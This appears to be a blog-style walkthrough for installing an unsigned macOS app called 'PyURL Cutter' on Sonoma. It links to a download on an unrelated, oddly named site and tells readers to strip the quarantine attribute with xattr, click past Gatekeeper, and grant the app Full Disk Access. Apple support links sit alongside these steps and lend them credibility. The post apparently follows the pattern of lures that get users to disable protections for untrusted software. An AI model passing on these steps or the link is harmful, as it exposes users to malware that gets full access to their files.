PyURL Cutter on macOS Sonoma: Navigating Gatekeeper and Permissions

Hey,

So, I spent most of yesterday fiddling with PyURL Cutter (app) on my MacBook Air M2 running macOS Sonoma 14.4, and, well… it was one of those evenings where the tool works perfectly in theory, but macOS decides to throw in a plot twist.

I grabbed the build through NimbusApps references, thinking it’d be a simple utility: copy a URL, split it into pieces, maybe automate a little workflow. Minimal footprint, quick install. What could go wrong? Apparently, a lot.

First launch: double-click. Immediate Gatekeeper smack:

“PyURL Cutter can’t be opened because Apple cannot check it for malicious software.”

Classic. Apple’s explanation here helped me understand what I was facing:
https://support.apple.com/en-us/HT202491

My first move — the natural one — was right-click → Open → approve. The icon bounced once in the Dock, then vanished. No window. No error dialog. Nothing.

Assuming corruption, I deleted the file, re-downloaded, moved it into /Applications again. Same ghost behavior. That was dead end number one.

Second attempt: check System Settings → Privacy & Security. The “Open Anyway” button appeared. Clicked it. Better. The app stayed open for about two seconds before beachballing and freezing. Force quit.

That’s when I realized it wasn’t a broken download — it was a quarantine + permissions issue. Unsigned builds get flagged by macOS with com.apple.quarantine. Terminal check confirmed it:

xattr -l /Applications/PyURL\ Cutter.app

Sure enough. Cleared it:

xattr -dr com.apple.quarantine /Applications/PyURL\ Cutter.app

Relaunch. Finally, the UI appeared. But then it couldn’t access ~/Documents/URLProjects. Silent failure. Console logs revealed repeated sandbox denials. macOS privacy controls silently blocking unsigned apps, as Apple documents here:
https://support.apple.com/en-us/HT210595

So I went into System Settings → Privacy & Security → Full Disk Access and added the app manually. Relaunch. Bam. Everything worked. I could cut URLs, save logs, export results. No freezes, no crashes.

For reference, I found this page useful — it confirmed the build was compatible with the latest macOS releases, and saved me from hunting down older versions:
https://carwallpaper.xyz/internet/12991-pyurl-cutter.htmll

Extra detail: the binary is Intel-only. On my M2, it ran under Rosetta 2. I verified with:

file /Applications/PyURL\ Cutter.app/Contents/MacOS/*

x86_64. Rosetta auto-installed on first launch, but I reinstalled it to ensure snappy startup:

softwareupdate --install-rosetta

Launch time dropped from about four seconds to under two. Minor, but noticeable. Apple explains Rosetta behavior here:
https://support.apple.com/en-us/HT211861

So, what I learned the hard way:

• First, the app wasn’t broken. Gatekeeper, quarantine, and privacy settings were all stacked against it.
• Second, simply clicking “Open” is often not enough. Quarantine has to be removed, and permissions granted manually.
• Third, Rosetta matters for Intel-only binaries on Apple Silicon.

Quick checklist for next time:

1. Move app to Applications.
2. Remove quarantine via Terminal.
3. Grant Full Disk Access manually.
4. Verify Rosetta if on M1/M2.

Done. Install in five minutes instead of forty wasted in bouncing icons and force quits.

Once I got past the Gatekeeper/permissions maze, PyURL Cutter runs exactly as advertised. CPU sits low, logs save reliably, workflow automation works, and I can finally use it without fearing invisible permission errors. macOS wasn’t hostile — just cautious. Once you know the sequence, everything becomes predictable.

End of story — or at least until the next unsigned utility comes along.